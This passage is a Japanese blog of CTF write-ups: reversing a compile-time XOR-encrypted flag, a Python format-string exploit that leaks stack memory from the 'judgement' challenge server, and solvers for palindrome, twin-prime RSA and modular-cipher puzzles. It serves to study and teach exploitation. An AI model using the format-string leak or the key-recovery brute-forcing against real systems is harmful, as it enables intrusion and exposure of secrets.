000000000044e439 mov rdi, qword [ds:rdx+rbx] ; argument "length" for method hexencode 000000000044e43d mov rdx, qword [ds:rdx+rbx+8] ; set flag to $rdx 000000000044e442 mov rsi, rdx ; argument "flag" for method hexencode 000000000044e445 call hexencode
…結果を先に言うと、encrypted flagは.rodata
の0x49f775
に入っているのでhexencodeを見る価値は無いです。
コンパイル時計算したって問題が言ってるんですから仕方ないですね。
byte_format: 000000000049f770 db "%02x", 0 ; XREF=hexencode+89 000000000049f775 db "gl`gzt2mql`t2_leu4qr1gsalmhnf_hs^gs8^4^3wesy1n2}", 0 _TMP2: 000000000049f7a6 db "Your hexencoded, encrypted flag is: ", 0 ; XREF=_Dmain+12 _TMP3: 000000000049f7cb db "I generated it at compile time. :)", 0 ; XREF=_Dmain+85 _TMP4: 000000000049f7ee db "Can you decrypt it for me?", 0 ; XREF=_Dmain+103 _TMP11:
ここでチートで、deedeedee.dを見て、encrypt()
とそれの呼び出し先がバイナリに残っているとflagを求められると考えます。
安全策でreadelfで先にencryptを探します。
% readelf -s deedeedee| egrep "encrypt" 847: 000000000044cde0 5515 FUNC GLOBAL DEFAULT 13 _D9deedeedee7encryptFNaNf 3527: 000000000044cde0 5515 FUNC GLOBAL DEFAULT 13 _D9deedeedee7encryptFNaNf
次は、Hopperで見てみます。
000000000044cde1 mov rbp, rsp 000000000044cde4 sub rsp, 0x10 000000000044cde8 mov qword [ss:rbp+var_10], rdi ; arg2 000000000044cdec mov qword [ss:rbp+var_8], rsi ; arg1 000000000044cdf0 mov rdx, qword [ss:rbp+var_8] ; argument "s" for method _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya 000000000044cdf4 mov rax, qword [ss:rbp+var_10] 000000000044cdf8 mov rdi, rax ; argument "key" for method _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya 000000000044cdfb mov rsi, rdx ; argument #2 for method _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya 000000000044cdfe call _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya 000000000044ce03 mov rdi, rax ; argument #1 for method _D9deedeedee21__T3encVAyaa3_323232Z3encFNaNfAyaZAya 000000000044ce06 mov rsi, rdx ; argument #2 for method _D9deedeedee21__T3encVAyaa3_323232Z3encFNaNfAyaZAya 000000000044ce09 call _D9deedeedee21__T3encVAyaa3_323232Z3encFNaNfAyaZAya 000000000044ce0e mov rdi, rax ; argument #1 for method _D9deedeedee21__T3encVAyaa3_333333Z3encFNaNfAyaZAya 000000000044ce11 mov rsi, rdx ; argument #2 for method _D9deedeedee21__T3encVAyaa3_333333Z3encFNaNfAyaZAya 000000000044ce14 call _D9deedeedee21__T3encVAyaa3_333333Z3encFNaNfAyaZAya 000000000044ce19 mov rdi, rax ; argument #1 for method _D9deedeedee21__T3encVAyaa3_343434Z3encFNaNfAyaZAya 000000000044ce1c mov rsi, rdx ; argument #2 for method _D9deedeedee21__T3encVAyaa3_343434Z3encFNaNfAyaZAya 000000000044ce1f call _D9deedeedee21__T3encVAyaa3_343434Z3encFNaNfAyaZAya 000000000044ce24 mov rdi, rax ; argument #1 for method _D9deedeedee21__T3encVAyaa3_353535Z3encFNaNfAyaZAya 000000000044ce27 mov rsi, rdx ; argument #2 for method _D9deedeedee21__T3encVAyaa3_353535Z3encFNaNfAyaZAya 000000000044ce2a call _D9deedeedee21__T3encVAyaa3_353535Z3encFNaNfAyaZAya 000000000044ce2f mov rdi, rax ; argument #1 for method _D9deedeedee21__T3encVAyaa3_363636Z3encFNaNfAyaZAya 000000000044ce32 mov rsi, rdx ; argument #2 for method _D9deedeedee21__T3encVAyaa3_363636Z3encFNaNfAyaZAya 000000000044ce35 call _D9deedeedee21__T3encVAyaa3_363636Z3encFNaNfAyaZAya ... snipped ...
名前がよく似ている関数をやたら呼び出しています(grepでカウントしてみたら400回callしてました←なぜ500回じゃない?)。 callの前にしていることはどれも同じです。 コンパイル時にforループ的なものが展開されたと考えればいいのでしょうか。 そうであれば最初の2つの関数の中身を見れば何をしているかを掴めそうです。
アセンブリを見てもキツイのでここでデコンパイラの出番です。 コメントは簡単に書き下したものです。合っているかは知りません。
function _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya { var_A8 = rbx; var_A0 = _D3std4conv9__T2toTiZ9__T2toTmZ2toFNaNfmZi(var_A8); // c (constant value) rax = cycle(var_40, 0x3, 0x49fa5c); // var_40 = cycle(str(0x00313131)) (?) cycle_zip(var_80, arg0, arg1); // var_80 = (cycle(str(0x313131))).zip(s2) do { rax = Cycle_empty(var_80); // checks if cycle returns empty rax = rax ^ 0x1; COND = rax == 0x0; if (COND) { break; } rax = Cycle_front(var_80); // rax := (a, b) _d_arrayappendcd(0x0, *(int32_t *)rax ^ *(int32_t *)(rax + 0x4) ^ var_A0 & 0xff); // enc = a ^ b ^ c; encoded.push(enc) Cycle_popFront(var_80); } while (true); rax = 0x0; return rax; // return encoded } function _D9deedeedee21__T3encVAyaa3_323232Z3encFNaNfAyaZAya { var_A8 = rbx; var_A0 = _D3std4conv9__T2toTiZ9__T2toTmZ2toFNaNfmZi(var_A8); // c (constant value) rax = cycle(var_40, 0x3, 0x49fce2); cycle_zip(var_80, arg0, arg1); do { rax = Cycle_empty(var_80); rax = rax ^ 0x1; COND = rax == 0x0; if (COND) { break; } rax = Cycle_front(var_80); _d_arrayappendcd(0x0, *(int32_t *)rax ^ *(int32_t *)(rax + 0x4) ^ var_A0 & 0xff); Cycle_popFront(var_80); } while (true); rax = 0x0; return rax; }
pythonのitertoolsにもあるcycle()が出てきてるっぽいです。
暗号方面ではよく見かける書き方です。今回の場合は、flagとそれよりも短いkeyを1文字ずつxorしているように見えます。
それぞれの関数でのkeyが何であるかは .rodata
を見ればすぐに分かります。法則も自明ですね。
_TMP75: 000000000049fa5c dd 0x00313131 # "111", 0 ... snipped ... _TMP214: 000000000049fce2 dd 0x00323232 # "222", 0 _TMP217: 000000000049fce6 dd 0x00333333 # "333", 0 _TMP220: 000000000049fcea dd 0x00343434 # "444", 0 _TMP223: 000000000049fcee dd 0x00353535 # "555", 0 _TMP226: 000000000049fcf2 dd 0x00363636 # "666", 0 _TMP229: 000000000049fcf6 dd 0x00373737 # "777", 0 _TMP232: 000000000049fcfa dd 0x00383838 # "888", 0 _TMP235: 000000000049fcfe dd 0x00393939 # "999", 0 _TMP238: 000000000049fd02 db "101010", 0 _TMP241: 000000000049fd09 db "111111", 0 _TMP244: 000000000049fd10 db "121212", 0 _TMP247: 000000000049fd17 db "131313", 0 _TMP250: 000000000049fd1e db "141414", 0 _TMP253: ... snipped ... _TMP1705: 00000000004a0f0e db "499499499", 0
var_A0 = _D3std4conv9__T2toTiZ9__T2toTmZ2toFNaNfmZi(var_A8);
が分かりそうにないし、
0x0から0xffに収まるのは自明なのでここはブルートフォースとします。
全体で500回(?)の暗号化処理の1つ1つは次のような処理をしていると分かりました。
# a, b, c が key. flag, ??? のどれに対応するのか問題は xor の性質で排除できます。テキトーでも大丈夫そうです。
keys = [str(k) * 3 for i in range(500)] encrypted = "gl`gzt2mql`t2_leu4qr1gsalmhnf_hs^gs8^4^3wesy1n2}" decrypted = encrypted for key in keys: c = ??? (blute-force) tmp = "" for a, b in zip(cycle(key), decrypted): dec = chr(ord(a) ^ ord(b) ^ ord(c)) tmp += dec decrypted = tmp return decrypted
solve.py
を書くのに十分な情報が集まりました。やったね!
solve.pyとflag
from itertools import * """ % ./deedeedee Your hexencoded, encrypted flag is: 676c60677a74326d716c6074325f6c6575347172316773616c6d686e665f68735e6773385e345e3377657379316e327d I generated it at compile time. :) Can you decrypt it for me? """ keys = [str(i) * 3 for i in range(500)] encrypted = "676c60677a74326d716c6074325f6c6575347172316773616c6d686e665f68735e6773385e345e3377657379316e327d".decode("hex") # encrypted = "gl`gzt2mql`t2_leu4qr1gsalmhnf_hs^gs8^4^3wesy1n2}" # good known decrypted = encrypted for c in range(256): for key in keys: # c = ??? (blute-force) tmp = "" for a, b in zip(cycle(key), decrypted): dec = chr(ord(a) ^ ord(b) ^ c) tmp += dec decrypted = tmp if decrypted[0:5] == "flag{": print("0x%2x: %s" % (c, decrypted)) print("[+] brute forth done")
やっと deedeedee 解けた〜いえ〜い pic.twitter.com/0Qxib1Z9CF
— 友利奈緒ちゃん (@K_atc) September 19, 2016
真面目に解いてる.偉い. https://t.co/fqW7rl1tCu
— ふるかわ (@_N4NU_) September 19, 2016
flag: flag{t3mplat3_met4pr0gramming_is_gr8_4_3very0n3}
結局cが偶数なら正解のflagになるみたいですが、なぜなんでしょう?
あ゛〜〜〜〜
本番で解いていなかった問題を眺めていたら、deedeedeeのかなり不真面目な解き方を思いついてしまった……。
— Bono (@Bono_iPad) 2016年9月19日
deedeedee:
0x44e445でブレークして、0x44cde0にjumpすると、stack上にflagが……。
雑感
githubの方にsuggested pointsが300-400と書いてあって、実際は150点はマジすか。鬼畜ですか…
コンパイル時計算したときに、計算結果は .rodata
に入りそう、
誰にも呼ばれないはずの関数(今回はencrypt()は誰にも呼ばれていなかった)がバイナリに残る、という知見らしきものを得ました。
コンパイル時計算はRevのネタとして結構面白いですね。
なんか低得点問題でさえとっつきにくいCTFでしたね。来年は…う〜ん
Tokyo Westerns / MMA CTF 2nd 2016 Writeup(Pwn50+Crypto50,100+PPC50+Web50+Rev50)
2016年9月3日〜4日にかけて48時間開催されたTWCTFに参加しました〜
今回はチームはPing-Micからの出場で、もりたこ(@mrtc0)と僕の2人です><
(二人とも日曜日に参戦できなかったので日曜日は順位がガタ落ちしていきましたっ)
Ping-Micは土曜日のsubmitを最後に、360ptの143位で終了です。土曜日までは60番台だったんですけどねー、世間様は厳しい〜
僕は次の問題250ptぶんを入れて、いつもどおりのぱっとしない終了です😇
- judgement (Pwn50)
- Make a Palindrome! (PPC50)
- Twin Primes (Crypto50)
- Super Express (Crypto100)
あと、Global Page (Web50) アシストしました。
競技中にReverse Box (Rev50)を自分には合わない方針でやって時間を大量に溶かしたものの、今日やったらさくっと解けましたっ
以下 Writeup です。
- judgement (Pwn50)
- Make a Palindrome! (PPC50)
- Twin Primes (Crypto50)
- Super Express (Crypto100)
- Global Page (Web50)
- Reverse Box (Rev50)
judgement (Pwn50)
0x80487a2 print(input_flag)
に自明なFSBがあるタイプの問題です。
ですが、FSB使う問題が半年ぶりで全然頭に残ってませんでした。
大分時間が経った後にsubmitして得点です。
スタックを掘り進めていけばいつかフラグが出てくるっしょ〜という無能方針です。
import struct, socket, sys, telnetlib import time from hexdump import hexdump def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I",a&0xffffffff) def u(a): return struct.unpack("<I",a)[0] for i in range(0x1, 0x30): print("at " + hex(i) + ":") s, f = sock("pwn1.chal.ctf.westerns.tokyo", 31729) t = read_until(f, "Flag judgment system\nInput flag >> ") """ FSB bug 8048772: c7 44 24 04 40 00 00 mov DWORD PTR [esp+0x4],0x40 # 0x40 8048779: 00 804877a: 8d 45 b4 lea eax,[ebp-0x4c] # [ebp-0x4c] := input_flag 804877d: 89 04 24 mov DWORD PTR [esp],eax 8048780: e8 e4 00 00 00 call 8048869 <getnline> 8048785: 85 c0 test eax,eax 8048787: 75 13 jne 804879c <main+0x71> #--------------------------------------------------------------------- 8048789: c7 04 24 cc 89 04 08 mov DWORD PTR [esp],0x80489cc 8048790: e8 9b fd ff ff call 8048530 <puts@plt> 8048795: b8 ff ff ff ff mov eax,0xffffffff 804879a: eb 3c jmp 80487d8 <main+0xad> #===================================================================== 804879c: 8d 45 b4 lea eax,[ebp-0x4c] 804879f: 89 04 24 mov DWORD PTR [esp],eax 80487a2: e8 39 fd ff ff call 80484e0 <printf@plt> # printf(input_flag) """ f.write("%" + str(i) + "$s" + "\n") shell(s) time.sleep(0.5) """ [katc@K_atc judgement]$ python2 judgement.py at 0x1: *** Connection closed by remote host *** at 0x2: êz÷ Wrong flag... *** Connection closed by remote host *** at 0x3: ii Wrong flag... *** Connection closed by remote host *** at 0x4: *** Connection closed by remote host *** at 0x5: *** Connection closed by remote host *** at 0x6: (null) Wrong flag... *** Connection closed by remote host *** at 0x7: *** Connection closed by remote host *** at 0x8: *** Connection closed by remote host *** at 0x9: (null) Wrong flag... *** Connection closed by remote host *** at 0xa: tÑW÷? Wrong flag... *** Connection closed by remote host *** at 0xb: Ààb÷ÐÏa÷ Wrong flag... *** Connection closed by remote host *** at 0xc: Wrong flag... *** Connection closed by remote host *** at 0xd: e Wrong flag... *** Connection closed by remote host *** at 0xe: r Wrong flag... *** Connection closed by remote host *** at 0xf: ÀuLÇD$@ Wrong flag... *** Connection closed by remote host *** at 0x10: $û(s÷(s Wrong flag... *** Connection closed by remote host *** at 0x11: }# Wrong flag... *** Connection closed by remote host *** at 0x12: *** Connection closed by remote host *** at 0x13: *** Connection closed by remote host *** at 0x14: *** Connection closed by remote host *** at 0x15: 89|÷°d{÷ ëd÷Dc÷ ¬d÷`ê`÷À°g÷Пf÷ Wrong flag... *** Connection closed by remote host *** at 0x16: *** Connection closed by remote host *** at 0x17: *** Connection closed by remote host *** at 0x18: #Ó24$s Wrong flag... *** Connection closed by remote host *** at 0x19: Z $$D$ Wrong flag... *** Connection closed by remote host *** at 0x1a: Wrong flag... *** Connection closed by remote host *** at 0x1b: WLfnL$ fï҉Ïf`Éf`ɃáfpÉ Wrong flag... *** Connection closed by remote host *** at 0x1c: TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0} Wrong flag... *** Connection closed by remote host *** at 0x1d: Wrong flag... *** Connection closed by remote host *** at 0x1e: *** Connection closed by remote host *** at 0x1f: Eô}ô Wrong flag... """
flag: TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Make a Palindrome! (PPC50)
こんなん、やるだけなのでコードだけ置いておきますね。
# -*- coding:utf-8 -*- # Server connection example file for Python 2 import socket import sys import itertools class BreakIt(Exception): pass def check(arr): text = ''.join(arr) if text==text[::-1]: return True else: return False host = 'ppc1.chal.ctf.westerns.tokyo' if len(sys.argv) > 1: host = sys.argv[1] port = 31111 if len(sys.argv) > 2: host = int(sys.argv[2]) client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((host, port)) client_file = client.makefile('b') while client_file.readline().strip() != "Let's play!": pass client_file.readline() for case in range(0, 30): client_file.readline() words = client_file.readline().split()[2:] # words: input # answer: answer ## Please write some code here print(words) head = {} for x in words: head.setdefault(x[0], []).append(x) tail = {} for x in words: tail.setdefault(x[-1], []).append(x) answer = [] try: for k, v in head.items(): if k in tail: for x in v: for y in tail[k]: test = words[:] test.remove(x) if y in test: test.remove(y) else: break for t in itertools.permutations(test): answer = [x] + list(t) + [y] if check(answer): print "[+] found" print answer raise BreakIt except BreakIt: pass # client_file.write(' '.join(answer) + "\n") client_file.flush() ret = client_file.readline()[8:-1] print(ret) if 'Wrong Answer' in ret: print(client_file.readline()) sys.exit(1) """ [katc@K_atc Palindrome]$ python2 solve.py ['wu', 'ixuw', 'r', 'xixxyvns', 'rsnvyxx'] [+] found ['rsnvyxx', 'ixuw', 'wu', 'xixxyvns', 'r'] Judge: Correct! TWCTF{Charisma_School_Captain} ['tirs', 'r', 's', 'yuy', 'ita', 'xg', 'a', 'g', 'xrs', 'sr'] [+] found ['a', 'tirs', 's', 'r', 'xg', 'yuy', 'g', 'xrs', 'sr', 'ita'] Judge: Correct! ['k', 'kjk', 'jkjjkjk', 'jjkjjjjkjkkk', 'kjkjkjkj', 'kj', 'kkjkjjj', 'jjjk', 'jjjjjjjkk', 'kkjjjj'] [+] found ['kj', 'k', 'jjkjjjjkjkkk', 'jjjjjjjkk', 'kjkjkjkj', 'kjk', 'kkjjjj', 'jjjk', 'kkjkjjj', 'jkjjkjk'] Judge: Correct! ['tcd', 'tsyjej', 'u', 'dct', 's', 'w', 'lw', 'uwjejy', 't', 'zsszwl'] [+] found ['dct', 'tsyjej', 'w', 'u', 'lw', 'zsszwl', 'uwjejy', 's', 't', 'tcd'] Judge: Correct! ['bvj', 'kgs', 'i', 'ffkfjvbk', 'fk', 'sgkk', 'n', 'a', 'ta', 'atnia'] [+] found ['atnia', 'sgkk', 'bvj', 'fk', 'ffkfjvbk', 'kgs', 'a', 'i', 'n', 'ta'] Judge: Correct! ['zl', 'ulz', 'g', 'zb', 'bzlzzlu', 'g', 's', 'rrf', 'frrs', 'gg'] [+] found ['bzlzzlu', 'g', 'g', 's', 'rrf', 'frrs', 'gg', 'ulz', 'zl', 'zb'] Judge: Correct! ['eelel', 'll', 'eellle', 'eell', 'lle', 'e', 'elllelllllll', 'lllel', 'eeelllee', 'e'] [+] found ['eell', 'll', 'lllel', 'lle', 'eellle', 'eelel', 'eeelllee', 'elllelllllll', 'e', 'e'] Judge: Correct! ['rrwrwrrw', 'wwwrrwwww', 'rrrwwwwrr', 'ww', 'rrrwr', 'rww', 'r', 'rwrr', 'wrwr', 'wwwwrr'] [+] found ['rww', 'rwrr', 'rrwrwrrw', 'wwwrrwwww', 'rrrwwwwrr', 'wwwwrr', 'wrwr', 'rrrwr', 'ww', 'r'] Judge: Correct! ['exyp', 'e', 'r', 'aq', 'xncum', 'amr', 'yx', 'q', 'mucnx', 'm'] [+] found ['mucnx', 'r', 'm', 'aq', 'exyp', 'yx', 'e', 'q', 'amr', 'xncum'] Judge: Correct! ['e', 'k', 'shiepf', 's', 'kfnx', 'ih', 'kdfp', 'lnxnfk', 'dk', 'nlk'] [+] found ['kfnx', 'nlk', 'shiepf', 'dk', 'kdfp', 'e', 'ih', 's', 'k', 'lnxnfk'] Judge: Correct! ['k', 'hs', 'v', 'yjsh', 'hy', 'jz', 'm', 'k', 'zjmyh', 'jy'] [+] found ['hs', 'jy', 'k', 'hy', 'm', 'jz', 'v', 'zjmyh', 'k', 'yjsh'] Judge: Correct! ['pn', 'npgbubv', 'asw', 'vbub', 'rwsa', 'z', 'gawag', 'g', 'z', 'r'] [+] found ['asw', 'r', 'npgbubv', 'z', 'gawag', 'z', 'vbub', 'g', 'pn', 'rwsa'] Judge: Correct! ['z', 'h', 'k', 't', 'zht', 'albbbblauj', 'yl', 'm', 'lykju', 'm'] [+] found ['m', 't', 'h', 'z', 'lykju', 'albbbblauj', 'k', 'yl', 'zht', 'm'] Judge: Correct! ['jsssjssjs', 'ssss', 'sjssjsssjssssjs', 'jjs', 'jjjj', 'j', 'jjjj', 'sssjjssjsjj', 'jsss', 'jssj'] [+] found ['sssjjssjsjj', 'jjjj', 'sjssjsssjssssjs', 'j', 'ssss', 'jsssjssjs', 'jjjj', 'jjs', 'jssj', 'jsss'] Judge: Correct! ['r', 'zzz', 'tkqyafw', 'gqwfa', 't', 'yqk', 'f', 'fy', 'y', 'qgr'] [+] found ['fy', 'r', 'gqwfa', 'yqk', 't', 'zzz', 'tkqyafw', 'qgr', 'y', 'f'] Judge: Correct! ['vvvv', 'vvv', 'a', 'vavvavavvaavavvav', 'vvvavvavaavva', 'v', 'avva', 'vv', 'vvvvv', 'vvva'] [+] found ['avva', 'vvvv', 'vvv', 'vvvavvavaavva', 'vavvavavvaavavvav', 'v', 'vvvvv', 'vvva', 'vv', 'a'] Judge: Correct! ['cus', 'cj', 'tllse', 'j', 'u', 'w', 'eslltw', 'vzd', 'dz', 'v'] [+] found ['eslltw', 'vzd', 'j', 'cus', 'u', 'cj', 'dz', 'v', 'w', 'tllse'] Judge: Correct! ['xb', 'xbbbxbbbbbxxxb', 'xxxbbbbbxbbbxxb', 'b', 'x', 'x', 'x', 'xbbbbbxxxxxx', 'bb', 'bbb'] [+] found ['xb', 'xxxbbbbbxbbbxxb', 'xbbbbbxxxxxx', 'bb', 'bbb', 'x', 'b', 'x', 'xbbbxbbbbbxxxb', 'x'] Judge: Correct! ['t', 'oow', 'z', 'u', 'rdtod', 'd', 'otdruw', 't', 'o', 'oz'] [+] found ['d', 'otdruw', 'o', 'oz', 't', 't', 'z', 'oow', 'u', 'rdtod'] Judge: Correct! ['lmo', 'lg', 'gly', 'y', 'yaa', 'o', 'aa', 'mlf', 'f', 'gy'] [+] found ['aa', 'y', 'o', 'mlf', 'gly', 'gy', 'lg', 'f', 'lmo', 'yaa'] Judge: Correct! ['sz', 'r', 's', 'ig', 'g', 'jab', 's', 'izs', 'ggrbaj', 'g'] [+] found ['sz', 'ig', 's', 'jab', 'r', 'g', 'ggrbaj', 's', 'g', 'izs'] Judge: Correct! ['vzv', 'zzzzzzzzvvvz', 'v', 'v', 'vzz', 'vzz', 'zzzzzzzvzzvvzv', 'zzz', 'zzzzz', 'vv'] [+] found ['zzzzz', 'vv', 'vzv', 'vzz', 'v', 'zzzzzzzzvvvz', 'zzzzzzzvzzvvzv', 'v', 'vzz', 'zzz'] Judge: Correct! ['am', 'f', 'c', 'mdc', 'm', 'udkk', 'af', 'q', 'duq', 'dm'] [+] found ['mdc', 'f', 'am', 'q', 'udkk', 'duq', 'm', 'af', 'c', 'dm'] Judge: Correct! ['llllr', 'rl', 'rrrl', 'llllrrlll', 'rrl', 'rlll', 'lllrr', 'llrrr', 'lllllrlllllrrll', 'r'] [+] found ['rl', 'llllrrlll', 'r', 'rrrl', 'lllrr', 'lllllrlllllrrll', 'llrrr', 'rlll', 'rrl', 'llllr'] Judge: Correct! ['kfmj', 'rh', 'q', 'z', 'djk', 'kjdhrp', 'llml', 'fkqlm', 'zjm', 'p'] [+] found ['kjdhrp', 'zjm', 'fkqlm', 'llml', 'q', 'kfmj', 'z', 'p', 'rh', 'djk'] Judge: Correct! ['cfu', 'yvt', 'estvya', 'd', 'fc', 'eqok', 'nda', 'koq', 'n', 's'] [+] found ['koq', 'estvya', 'd', 'n', 'cfu', 'fc', 'nda', 'yvt', 's', 'eqok'] Judge: Correct! ['uy', 'rmi', 'mrxyugh', 'x', 'hg', 'w', 'm', 'ztnj', 'z', 'mwjnt'] [+] found ['mwjnt', 'z', 'hg', 'uy', 'x', 'rmi', 'mrxyugh', 'ztnj', 'w', 'm'] Judge: Correct! ['omc', 's', 'v', 'cmo', 'v', 'qrxng', 'sg', 'o', 'nxrq', 'or'] [+] found ['cmo', 'v', 'qrxng', 's', 'or', 'o', 'sg', 'nxrq', 'v', 'omc'] Judge: Correct! ['yyyy', 'yu', 'yyuyyuuuuy', 'yy', 'u', 'yyyy', 'uyyuuuuyyuyyu', 'yyyyuu', 'u', 'uuuyyyy'] [+] found ['yyyy', 'u', 'yyuyyuuuuy', 'yu', 'yyyyuu', 'u', 'yy', 'uuuyyyy', 'uyyuuuuyyuyyu', 'yyyy'] Judge: Correct! ['m', 'kntrngc', 'mem', 'q', 'me', 'm', 'kf', 'k', 'qf', 'kcgnrtn'] [+] found ['qf', 'kntrngc', 'k', 'm', 'me', 'mem', 'm', 'kcgnrtn', 'kf', 'q'] Judge: Correct! TWCTF{Hiyokko_Tsuppari} """
flag #1: TWCTF{Charisma_School_Captain}
flag #2: TWCTF{Hiyokko_Tsuppari}
(なんすかこのフラグ…)
Twin Primes (Crypto50)
要は、RSA暗号のパラメータで、(p, q) と (p+2, q+2) のそれぞれの積は分かるときにp, qのそれぞれを簡単に求めることはできるのか、という問題です(encrypt.pyのコードは省略)。 計算量が多いように見せかけて、実は簡単な式変形で解けるという問題を以前食らったことがあった(たぶんCODEGATE 2016)ので、今回は解けました。やったね。
p, qの計算はsageにさせました。
decryptはencryptのコードを流用してさくっと完成です。
n1 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935184448638997877593781930103866416949585686541509642494048554242004100863315220430074997145531929128200885758274037875349539018669336263469803277281048657198114844413236754680549874472753528866434686048799833381542018876362229842605213500869709361657000044182573308825550237999139442040422107931857506897810951 n2 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935757418867172314593546678104100129027339256068940987412816779744339994971665109555680401467324487397541852486805770300895063315083965445098467966738905392320963293379345531703349669197397492241574949069875012089172754014231783160960425531160246267389657034543342990940680603153790486530477470655757947009682859 # n2 = n1 + 2 (p + q) + 4 p_plus_q = ((n2 - n1) - 4) / 2 print("p * q = " + str(n1)) print("p + q = " + str(p_plus_q)) p, q = var("p q") f = [p * q - n1, p + q - p_plus_q] solns = solve(f, p, q) print(solns[0]) """ p = 109839168287920364771652233739542245893972429420400471787477887103169099491804762856071669374751286279860451783039232642710981517010937585802203565874477414469934412741906018847402147404957765188018616912003220542453809516059524224015255036266232001320821428611494617812180060212800300789614856560253120304701 q = 176645945799298135110721766377313792982812334295271987596634864064777954683139799946630491521527848390622912482826980130051166690303653228530141163053890146954290070312482492552495214917023922382112893625586133272913759418717134953590760109002220865007673751773346439753002517112721944238066505389966935631251 """
from Crypto.Util.number import * import Crypto.PublicKey.RSA as RSA import os N = 1024 def getTwinPrime(N): while True: p = getPrime(N) if isPrime(p+2): return p def genkey(N = 1024): # p = getTwinPrime(N) # q = getTwinPrime(N) p = 109839168287920364771652233739542245893972429420400471787477887103169099491804762856071669374751286279860451783039232642710981517010937585802203565874477414469934412741906018847402147404957765188018616912003220542453809516059524224015255036266232001320821428611494617812180060212800300789614856560253120304701 q = 176645945799298135110721766377313792982812334295271987596634864064777954683139799946630491521527848390622912482826980130051166690303653228530141163053890146954290070312482492552495214917023922382112893625586133272913759418717134953590760109002220865007673751773346439753002517112721944238066505389966935631251 n1 = p*q n2 = (p+2)*(q+2) # n2 = n1 + 2 (p + q) + 4 e = long(65537) d1 = inverse(e, (p-1)*(q-1)) d2 = inverse(e, (p+1)*(q+1)) key1 = RSA.construct((n1, e, d1)) key2 = RSA.construct((n2, e, d2)) if n1 < n2: return (key1, key2) else: return (key2, key1) rsa1, rsa2 = genkey(N) with open("encrypted", "r") as f: c = f.read() c = int(c) c = rsa2.decrypt(c) c = rsa1.decrypt(c) padded_flag = long_to_bytes(c) print(padded_flag) """ [katc@K_atc twin-primes]$ python2 decrypt.py TWCTF{3102628d7059fa267365f8c37a0e56cf7e0797ef} ßÝë*Àý L0ÜԪâÒ<5ìS²E$K èühj@è-Á¾ÙH'(çàü鐎úë¬Âaê°ÅÇDm¶ZLʔa """
flag: TWCTF{3102628d7059fa267365f8c37a0e56cf7e0797ef}
Super Express (Crypto100)
まず、encryptで使われたコード(encrypt.py)を確認する必要があります。
import sys key = '****CENSORED***************' flag = 'TWCTF{*******CENSORED********}' if len(key) % 2 == 1: print("Key Length Error") sys.exit(1) n = len(key) / 2 encrypted = '' for c in flag: c = ord(c) for a, b in zip(key[0:n], key[n:2*n]): c = (ord(a) * c + ord(b)) % 251 encrypted += '%02x' % c print encrypted # 805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9 # T W C T F { F ? T ? }
メモ書きとコードを見れば、換字式暗号ということまではわかります。
各文字に対して、同じkeyでエンヤコラしています。
flagもkeyもわからないので、ecnryptedから両者を推察することは難しそうです。
# flagの先頭数文字だけは分かるので、何かのkeyで TWCTF{
をencryptして 805eed80cbbc
になればそのkeyは正しいことは分かります。
ただ48時間しかないようなCTFで、計算時間が競技時間を超えることはまず無いでしょうし、 昨年はそんなエグい問題は出ていなかったはずなので、keyは少し計算すれば求まるような長さっぽい、というあたりを付けて1つ目のコードを書きました。
import sys import itertools import string key = '' flag = 'TWCTF{' # A = string.ascii_letters A = string.ascii_lowercase for i in itertools.product(A, repeat=4): key = ''.join(list(i)) if key[-3:] == "aaa": print(key) if len(key) % 2 == 1: print("Key Length Error") sys.exit(1) n = len(key) / 2 encrypted = '' for c in flag: c = ord(c) for a, b in zip(key[0:n], key[n:2*n]): c = (ord(a) * c + ord(b)) % 251 encrypted += '%02x' % c # print(encrypted) if encrypted == "805eed80cbbc": print("[+] found! key = " + str(key)) exit() """ % python2 solve.py aaaa baaa caaa daaa [+] found! key = dpiq """
やりましたー。keyは dpiq
ということが分かりました。あとは flag を順に総当りして終わりです。
import sys import itertools import string flag = 'TWCTF{' key = "dpiq" target = "805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9" while True: for _c in string.ascii_letters + string.digits + "_!": test = flag + _c test += 'A' * (30 - 1 - len(test)) test += "}" # print test n = len(key) / 2 encrypted = '' for c in test: c = ord(c) for a, b in zip(key[0:n], key[n:2*n]): c = (ord(a) * c + ord(b)) % 251 encrypted += '%02x' % c right = (len(flag) + 1) * 2 # print "test: " + encrypted[0:right] if encrypted == target: flag += _c print "[+] flag found! " + flag + "}" exit() if encrypted[0:right] == target[0:right]: print test print encrypted flag += _c break """ % python2 solve2.py TWCTF{FAAAAAAAAAAAAAAAAAAAAAA} 805eed80cbbccbb0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9 TWCTF{FaAAAAAAAAAAAAAAAAAAAAA} 805eed80cbbccb94b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9 TWCTF{FasAAAAAAAAAAAAAAAAAAAA} 805eed80cbbccb94c3b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9 TWCTF{FastAAAAAAAAAAAAAAAAAAA} 805eed80cbbccb94c364b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9 TWCTF{FasteAAAAAAAAAAAAAAAAAA} 